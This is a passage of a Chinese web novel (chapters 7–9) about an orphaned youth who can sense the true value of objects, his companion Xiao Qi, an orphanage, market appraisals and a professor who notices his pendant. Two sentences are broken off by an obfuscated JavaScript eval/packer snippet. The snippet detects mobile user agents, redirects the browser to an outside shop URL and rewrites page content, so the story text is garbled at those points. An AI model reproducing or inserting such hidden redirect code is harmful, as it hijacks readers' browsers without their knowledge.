【而且……他人真的挺好。给了我五千救命钱,帮我挡了摊主的麻烦,也没拆穿我。】 【就当我用五千块撬动了他4.8亿的好运?这么一想,我也挺厉害的嘛!】 【对,我是他的贵人!是他的财神!】 【我的一句话加一块砖价值4.8亿!】 阿Q精神胜利法开始发挥作用,林柚感觉自己又好起来了。 小七一直安静地听着他情绪起伏,才慢吞吞地开口:“哥哥,你还有四千八百多星币。” “嗯。” “足够买很多很多肉包子。” 林柚沉默两秒,眼神坚定。朴素的渴望压过了一切虚妄的亿万家财幻想。 一个没挺起来的鲤鱼打挺: “走,小七。理论问题,历史遗憾,都先放放。” “现在,我们进行一项重要的关乎当前幸福指数的实践活动。” “买肉包子去。” “好。”小七点点头,主动伸出小手。 一大一小推开摇摇欲坠的木门,再次走向黑市。 肉包子摊前,熟悉的蒸汽夹杂着肉香扑面而来。这是林柚从未在病房中闻过的属于人间的气味。很奇怪,似乎无论科技如何飞跃,时代如何剧变,从古地球到星元历,人类对于“热腾腾的、能握在手里的、带来饱足感”的食物渴望从未改变。这蒸汽便是数千年文明长河中最微不足道也最生生不息的人间烟火。 林柚认真地数出刚取的零钱:“老板,两个肉包子,谢谢。” “好嘞!刚出笼的,小心烫啊!” 接过那热腾腾、白胖胖、散发着朴实诱人香气的包子,林柚把其中一个递给小七。 小七立刻双手接过,低下头,珍惜地咬了上去,腮帮子微微鼓起。 林柚也咬了一大口。面皮松软,肉汁咸香滚烫,烫得他直吸气,心里却满足地喟叹。 【4.8亿……听起来能买下星河战舰了吧?】 【但那些都太远了,太虚了。】 【而手里的包子是热的,身边的小七是真实的,口袋里的钱还能让我们活好多天。】 【明天的太阳照常升起时,我们还能一起站在这里,吃热乎乎的早餐。】 【能这样踏实地活着……赚了,赚了】 “哥哥。” “嗯?” “下次我会更仔细。” 林柚咬了一大口,含糊道: “没关系啦。” 他揉了揉小七的脑袋,然后伸手用拇指轻轻擦掉小七嘴角的油渍,语气认真: “比起什么4.8亿,我更高兴的是我们今天能一起吃肉包子,而且明天、后天,还能继续一起吃。” 小七怔了怔。没有说话,只是低下头,继续小口地咬着包子,耳根似乎有点泛红。 “…嗯,哥哥。” 身后,远处巨大的公共光屏上,关于星渊虫化石蛋和唐明远的神秘有缘人的新闻,还在循环播报,引发着无数人的惊叹、羡慕与猜测。 整个星际都在好奇,那位有缘人究竟是谁。 只有唐明远自己知道,是那个在贫民窟黑市里,穿着破烂却能用心灵传讯点石成金的少年。 而那位少年,此刻正牵着弟弟的手,心满意足地吃着肉包子,想着今晚要不要奢侈地再加一个。 他的世界很小,小到只装得下生存、小七和下一顿饱饭。 他的世界又很大,大到连4.8亿的星际传奇也不过是他人生长卷中一段有趣的插曲。 倒计时还在缓慢跳动,但已不再令人心悸。 【87:15:33】 前路未知,但此刻,包子很香! 8. 第 8 章 林柚发现贫民窟的气氛有点怪。 走在路上,总有人在背后指指点点。不是那种恶意的指点,而是一种……怎么说呢,更像是在围观某种会走路的稀有动物。 他停下脚步,抬手摸了摸脸,又下意识把衣领拢了拢,指尖碰到胸口那根细绳,冰凉的金属片硌了一下。 【……不是我脸上长花了吧?】 “小七,我脸上有东西吗?” 小七抬头看了他一眼,面无表情地摇头:“没有。哥哥今天的脸和昨天一样干净。” “那为什么那边那几个大叔一直看我?” 他用余光瞥了眼街角。三个穿油腻围裙的中年男人凑在一起嘀嘀咕咕,目光时不时往他这边飘,其中一个还冲他露出一个意味深长的笑。 林柚浑身一激灵。 【好怪……那笑容好怪……像是在笑话我,又像是在……讨好我?】 【我是不是哪里得罪人了?还是说我昨天买肉包子的时候忘了付钱?不对啊,我明明付了的……】 “哥哥,他们的心率和瞳孔反应都处于正常范围,没有敌意。”小七的小手轻轻揪了揪他的衣角,提醒他别紧张,“反而有轻微的……紧张和期待。” “紧张?期待?”林柚更懵了,“期待我干什么?” “可能是期待你路过的时候能看他们一眼?” “……我又不是什么大明星。” 林柚深吸一口气,决定当没看见。 他今天的主要任务是去孤儿院看看那些孩子们。 说是孤儿院,其实就是贫民窟角落里一栋快要坍塌的危楼。十几个没人要的孩子挤在里面,最大的十二岁,最小的才三岁。他们平时靠捡垃圾、乞讨维生,日子过得比林柚穿越前还惨。 林柚第一次路过那里的时候,正好看到一个小女孩蹲在门口,用脏兮兮的小手捧着半个发霉的馒头,小心翼翼地啃。 他当时站在原地愣了很久。 然后转身用唐教授给的钱买了一大堆食物送了过去。 【反正我也要花钱续命……与其乱花,不如花在这些孩子身上。】 从那以后,他隔两三天就来一趟。孩子们现在都认识他了,远远看到他就会跑过来,叽叽喳喳地叫“柚子哥哥”。 说实话,这种被需要的感觉……挺好。 前世他躺在病床上十一年,从没被人这样需要过。 …… 孤儿院门口。 林柚还没走近,就听见里面吵吵嚷嚷。 “我跟你们说,柚子哥哥肯定是大人物!” “对对对!路过的高大神说了,前几天黑市那个大新闻就是他弄出来的!” “啥大新闻?” “你不知道?唐明远教授花五万星币买了块破石头,结果值四个多亿!” 林柚脚步一顿。 【???】 【等等……他们说的不会是我吧?】 他下意识往后退半步,拉着小七躲到墙角,竖起耳朵。 “我听说啊,那石头本来没人要,是柚子哥哥让唐教授买的!” “柚子哥哥怎么知道那石头值钱?” “这你就不知道了吧,他肯定有特殊能力。新闻里不是说了吗?唐教授遇到一个有缘人,那人说真正的珍宝不在外表!这不就是柚子哥哥吗!” “对哦,那天在刘老板摊位前,柚子哥哥说了几句话,唐教授马上就不买那个红莲权杖了。” “什么红莲权杖,明明是通厕所的!哈哈哈哈!” 孩子们笑作一团。 墙角后,林柚表情逐渐凝固。 【完了。】 【怎么传成这样了?!】 【我当时只是随口说了两句!而且那个石头是我送的谢礼啊!我哪知道它值四个亿!】 他缓缓转头看小七,眼神写满求救。 小七伸出两根手指,在他袖口轻轻敲了敲。那是他们私下约定的暗号:别慌,问题不大。 “……行。”林柚捂了下脸,“我装死。” 他整理表情,从墙角走出来。 “柚子哥哥!” 孩子们看到他,先是集体安静一秒,然后爆发出更夸张的欢呼,呼啦啦围上来。 “柚子哥哥今天带什么好吃的!” “小七弟弟也来啦!” “柚子哥哥柚子哥哥,你真的会看古董吗?教教我!” 林柚被围得动弹不得,硬着头皮:“我不会看古董……” “哇!柚子哥哥好谦虚!” “对,大师都是这样的!” “隔壁王爷爷说了,真正厉害的人从来不说自己厉害!” 林柚:“……” 他努力解释:“真的,我那天就是随口说了两句,根本不是什么指点……” “哇!柚子哥哥太低调了!” “果然是高人!” “我就说嘛,柚子哥哥肯定不是普通人!” 林柚彻底放弃挣扎。 【救命,这是什么逻辑闭环?!】 算了。 爱怎么想怎么想吧。 他从随身的袋子里掏出今天买的东西:二十份营养液、一些面包、几袋奶糖,还有一个小七挑的毛绒玩具。 “来,排队,一个一个来。” 孩子们立刻乖乖排成一列,眼睛亮晶晶地盯着他手里的东西。 林柚一边发,一边忍不住碎碎念:“小花你最近是不是没好好吃饭?脸色怎么这么差……阿毛你衣服破了,明天我给你带件新的……妞妞你别一直咳,嗓子都哑了……” 【这么瘦……营养液效果有限,下次得买点肉和蛋白质。】 【药也得备一点。】 小七站在一旁,安静地看着这一幕:“妞妞呼吸频率异常,伴有轻微哨音,可能是支气管炎。阿毛指甲有横纹,发育期营养不良。小花面色苍白,眼睑内血色不足。” 林柚的眉头拧紧了。 【都是病……都是吃不饱、穿不暖搞出来的。】 他下意识看了眼账户余额。 三千多星币。 【可恶,我的钱根本不够用……】 按他现在的花法,再撑两个星期差不多就见底。 而两个星期后,灵魂锚点要扣血。 【必须想办法赚钱。】 【可我能干什么?总不能真去当鉴宝大师吧?我连真古董长啥样都不知道!】 就在林柚发完最后一份食物,准备离开时,一个瘦瘦的小男孩,虎子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055109|194863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七八岁的样子,悄悄拉住了他的衣角。 虎子仰着脸,黑亮的眼睛里满是郑重,从口袋里掏出一块拳头大小、颜色斑驳的石头,双手捧到林柚面前。 “柚子哥哥,”虎子小声说,语气里带着献宝般的期待,“这个……给你。我在河滩捡的,它长得……长得特别不一样。王爷爷说,你可能能让它变值钱。” 林柚愣住了。 他低头看着那块石头,就是河滩常见的鹅卵石,只是颜色混杂了些,表面光滑,除此之外毫无特别之处。 ——普通石英质鹅卵石/常见/无价值 【又一个石头……】 【这些孩子真以为我是点石成金的神仙吗?】 他心里哭笑不得,但看着虎子那双满是真诚和期待的眼睛,心瞬间软了。 他郑重地接过石头,在手里掂了掂,脸上露出一个温暖的笑容:“谢谢虎子,这块石头……很特别,我很喜欢。” 虎子的眼睛瞬间亮得惊人,小脸兴奋得通红:“真的吗?!柚子哥哥喜欢!” “嗯,真的喜欢。”林柚揉了揉他的脑袋,“我会好好保管的。” 虎子开心地蹦跳着跑开了,边跑边喊:“柚子哥哥说我的石头特别!” 其他孩子立刻围过来,叽叽喳喳地问:“柚子哥哥,我的石头呢?”“我昨天捡了一块更好看的!” 林柚哭笑不得,只能一个个安抚过去。 小七在旁边看着,歪了歪头:“哥哥,你明明知道那只是普通石头。” “我知道。”林柚把那块鹅卵石小心地放进口袋,“但对虎子来说,那是他能拿出的最好的东西。心意比石头本身重要。” 小七似懂非懂地点了点头。 就在这时,身后响起一个拘谨的声音: “请问……是林柚小兄弟吗?” 林柚回头。 一个五十多岁的男人站在门口,穿洗得发白但很整洁的工装,手里提着布袋,他的脸上带着拘谨的笑容,眼神闪烁着某种期待。 “我是,您是?” “我叫老赵,在黑市卖杂货的。”男人搓了搓手,“那个……我听说你眼力好,能帮人掌掌眼?” 林柚心里咯噔一下。 【来了来了,传闻受害者上门了!】 “赵叔,您听谁说的?我真的不会……” “哎,小兄弟别谦虚。”老赵连忙打断他,“我也不是要你帮我鉴定什么值钱的宝贝,就是想请你帮忙看看这个。” 老赵已经把布袋打开,掏出一个其貌不扬的铜盒子:“我在废品站淘的,花了五十……咳,五十星币。回来之后越看越觉得不对劲,但又说不上来哪里不对。今天正好遇到你,想请你瞅一眼?” 林柚盯着盒子。 视野边缘像闪了一下,淡蓝色的短字一掠而过: ——黄铜合金/压铸/民用品/年份约三十年/估值≈15 林柚:“……” 【好家伙,连估值都给我算出来了。】 他把盒子翻到背面,指尖点在那条细细的接缝纹路上: “赵叔,这个接缝是机器压出来的,纹路太规整了。老物件一般会有手工痕迹,氧化也会不均匀。这个颜色太均匀,像批量生产的民用品。” 9. 第 9 章 老赵拿着盒子翻来覆去地看,脸上的表情逐渐从期待变成了失落:“你、你确定?” “嗯。”林柚点头,语气尽量委婉,“不算古董,也不值那个价。” 老赵嘴角扯出个苦笑:“唉……我就说嘛,哪有这么好的事儿。五十星币捡漏古董,我是在做梦。” 林柚有点不忍心:“但盒子保存得挺好,你拿来装点小零件也行,别太往心里去。” “不不不,小兄弟你说的对。我就是贪便宜,想捡漏。活该打眼。” 老赵叹口气,把盒子收回去,又从口袋里摸出一张皱巴巴的五十星币纸钞,递过来:“这是心意,谢谢你。” 林柚连忙摆手:“不用不用!赵叔,我就随口说了两句,哪能收您的钱。” “那怎么行!”老赵急了,“小兄弟你帮我省下了大钱啊!我本来还打算拿这盒子去找专业的鉴定师的,那些人开口就是几百块鉴定费。你这一说,我就不用花那个冤枉钱了!” “可是……” “你要是不收,我这心里过意不去。”老赵硬把钱塞进林柚手里,“就当是我请你喝杯水的钱,成不?” 林柚拗不过,只能收下。 老赵走的时候还回头叮嘱:“以后我再淘到东西,还能来找你不?” 林柚僵硬地点头:“……行。” 老赵走远了。 林柚看着手里的五十星币,心情复杂。 【这钱收得我像在行骗。】 【可我确实帮了他……】 小七抬头问:“哥哥不开心?” “我觉得自己像个骗子。” 小七很认真:“你没有骗他。你说的是事实。帮助别人避免损失,是正当行为。” 林柚被他说得心里轻轻一松。 【……好吧。至少我没有昧良心忽悠他。】 …… 从那天起,来找林柚掌眼的人渐渐多了。 但林柚很快发现,这事儿不是单纯帮忙那么简单。 有些人找他,是想避坑;有些人找他,是想坑人。 这天下午,一个瘦高的二道贩子拎着一串古地球珍珠,笑得一脸精明:“小大师,给我看看这串成色?” 旁边站着个卖面饼的婶子,眼睛发亮,显然已经被他忽悠得心动。 林柚刚想开口,视野里那串珍珠又闪了一下: 「塑料/回收料/表面涂层/遇热易软化」 他正准备说假的,却发现卖面饼的婶子正紧张地盯着他,嘴唇抿得紧紧的,手里的钱攥了又松,显然内心正在挣扎, 她是真想买,但又怕被骗。 而那个二道贩子却满脸堆笑,一副胜券在握的样子。 林柚心里叹了口气。 他接过珍珠,在手里掂了掂,眉头微不可察地皱了一下,然后抬眼看向二道贩子,语气平静:“这串……你确定是古地球的?” 二道贩子笑容不变:“当然。你看这光泽,这圆润度……” 林柚没等他说完,直接拿着那串珠子,走到旁边摊位的热水桶边,把其中一颗在冒着热气的桶沿轻轻蹭了蹭。 不到三秒,那颗珍珠表面的涂层就开始发软、起皱,露出下面灰扑扑的塑料底色。 围观群众发出一阵低呼。 卖面饼的婶子倒吸一口气,脸瞬间涨红,指着二道贩子:“你、你骗我!” 二道贩子脸色大变,指着林柚:“你胡说什么?!你这是故意毁我东西!” 林柚把珠子递还给他,语气依旧平静:“如果是真珍珠,不会怕这点热气。你要是不信,可以找专业机构鉴定,费用我出。” 这话一出,周围人看向二道贩子的眼神都变了。 二道贩子脸一阵青一阵白,一把抢过珠子,扭头就跑,还不忘丢下一句:“你给我等着!” 围观人群一阵哗然,紧接着又有人冲林柚竖起大拇指。 “柚子少年,眼睛真毒!” “假的到你面前过不了!” 林柚只觉得脑壳嗡嗡的。 【……这就叫骑虎难下吗?】 【我明明只想活着,怎么活着活着成了贫民窟打假办主任?】 不过也不全是糟心事。 隔了两天,一个沉默寡言的老工匠找上门,手里捧着个木雕盒子,边缘磨损得厉害,但雕花依旧清晰。 “柚子小哥,”老工匠声音沙哑,“这是我爷爷留下的,说是他年轻时亲手刻的。我想知道……它现在还能值几个钱不?” 林柚接过盒子。 「老杉木/手工雕刻/年份约九十年/保存良好/估值≈300-500」 他松了口气,总算见到真东西了。 “这是手工雕的,木头是老杉木,保存得很好。”林柚把盒子递回去,“虽然不是古董,但做工扎实,留作念想挺好的。” 老工匠怔了怔,粗糙的手指摩挲着盒盖上的雕花,眼里有些湿润:“是啊……是我爷爷刻的。谢谢你,小哥。” 他没给钱,但第二天托人送来了两个热腾腾的菜饼子,说是自家做的。 林柚吃着饼子,心里暖了一下。 之后几天,类似的事不断发生。 有时是一块陨石,结论是矿渣还带污染;有时是一幅古地球字画,背后居然还挂着造假窝点的生产编号。 林柚不再每次都解释我怎么知道,他只给结论,给证据,给一个能让普通人信服的理由。 慢慢地,贫民窟的传闻版本从三十七个涨到了五十多个。 传言已经升级到他是古地球时代穿越来的鉴宝大师…… 林柚:“……” 【谢谢,真的谢谢。】 而更麻烦的是:人情开始往他身上砸。 今天有人塞他两个苹果,明天有人硬送他一袋米;他推不掉,最后只好全部转送给孤儿院。 【他们太热情了……】 【可是我真的不想当传说啊。】 日子就这么别扭又勉强地过着。 白天带小七逛贫民窟,去孤儿院陪孩子,偶尔帮人拆穿假货;晚上回那间破屋子算账,看倒计时一点点跳。 灵魂锚点还在。 但至少……暂时稳住了。 【现在的生活,好像还不错。】 【穷是穷了点,但至少有吃有喝,有地方住,还有小七。】 【比前世躺在病床上等死……这已经像天堂了。】 …… 这天傍晚,林柚带着小七从孤儿院回来,走到半路,发现前面围了一群人。 “怎么回事?” 人群中央,一个穿破旧西装的中年人坐在地上摆摊,面前铺着脏布,放着三四样东西。 “走过路过别错过!祖传宝贝,今天亏本甩卖!” 旁边有人低声议论: “那不是老周吗?听说欠了一屁股赌债,急着卖祖传东西还钱。” “可怜啊,赌瘾害死人。” “他那些东西能是真的吗?” 林柚本来想绕开,目光却被摊位上一块灰色石头吸住。 那石头巴掌大,形状像某种动物的牙齿,造型怪得很。 【……又是石头。】 【上次那块石头值四个亿,这块不会也……】 他心里刚冒出这个念头,小七已经轻轻摇了摇头。 林柚瞬间松了口气。 【好。普通石头就好。别再让我背四个亿的锅了。】 他正准备走,余光却瞥见老周旁边站着一个人。 灰色长衫,金丝眼镜,气质儒雅。 唐明远。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055110|194863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林柚愣住。 【唐教授怎么又来贫民窟?他这是把这儿当散步公园了吗?】 正想着,唐明远也看到了他。 两人的目光在空气中交汇。 唐明远先是一愣,随即露出一个真切的惊喜笑容,快步走过来:“林柚!真巧,我正想找你。” 林柚受宠若惊:“唐教授,您找我有事?” “也不是什么大事。”唐明远笑呵呵地拍了拍他的肩,“就是上次那块化石蛋的事,我一直想当面谢谢你。” “不用不用,”林柚连忙摆手,“那个真的是意外,我根本不知道它那么值钱。” “哈哈,你啊,实在太谦虚了。”唐明远拍了拍他的肩膀,“对了,最近怎么样?生活还习惯吗?” “还好,还好……” 唐明远问他住得怎么样,吃得怎么样。 两人有一搭没一搭地聊着。 林柚一边答,一边不自觉扯了下衣领。 那根细绳滑出衣襟,吊坠露出一点。 半块断裂的金属片,边缘参差,像被硬生生撕裂。上面有很淡的纹样,古朴又奇异。 唐明远的目光在那一瞬间停住了。 他的瞳孔微不可察地一缩,随即又若无其事地移开,脸上依旧是温和的笑。 “你脖子上戴的那个……挺别致。” 林柚低头看了看吊坠,手指轻轻摸了摸冰凉的金属表面。 “这个啊……从小戴着的,可能是家人留下的吧。”他说得有些含糊,因为关于这具身体的过去,他自己也一无所知。 【只有这个一直带在身边……应该很重要吧。】 【可我连自己是谁都不知道,更别说这吊坠的来历了。】 家人……来历不明…… 唐明远笑着点头,语气温和:“好好保管。有些东西看似普通,背后可能藏着很重要的故事。” “嗯,我会的。”林柚认真地说,把吊坠重新塞回衣领里。 两人又聊了一会儿,唐明远还提到如果以后遇到什么困难,可以随时联系他。 “说起来,”唐明远状似不经意地问,“上次给你的名片上有我的通讯码,你好像一直没加我?” 林柚一愣,脸上浮起一丝窘迫,手指不自觉地捏了捏衣角:“那个……唐教授,我……” 他顿了顿,声音轻了下去:“我没有通讯设备。” 唐明远显然没料到这个答案,微微怔了一下。 林柚连忙补充:“等、等我攒够钱,买了通讯器,一定第一时间加您!” 这孩子……连最基础的通讯设备都没有? 唐明远压下心里的复杂情绪,温和地笑了笑:“没事,不急。这样吧,下次我来的时候,给你带一个旧的先用着,反正我家里有好几个闲置的。” “那怎么行!”林柚急忙摆手,“太贵重了,我不能——” “你帮我省下的钱,买一百个通讯器都绰绰有余。就这么说定了。” 林柚张了张嘴,最终还是小声说了句:“……谢谢唐教授。” 临走前,唐明远像是忽然想起什么:“对了,你常去的那家孤儿院……地址能告诉我吗?我也想为那些孩子做点什么。” 林柚几乎没犹豫:“当然可以。” 他把地址说了。 唐明远微笑着挥手:“你是个好孩子。” “唐教授您才是好人。”林柚挠挠头。 唐明远转身离开贫民窟,走出一段距离后,脸上的笑意慢慢收敛。 他抬手扶了扶眼镜,脚步不自觉加快。 那吊坠的纹样…… 他真的在哪里见过。 他需要回去查查资料。 唐明远深吸一口气,加快脚步。 有些事情,需要谨慎求证。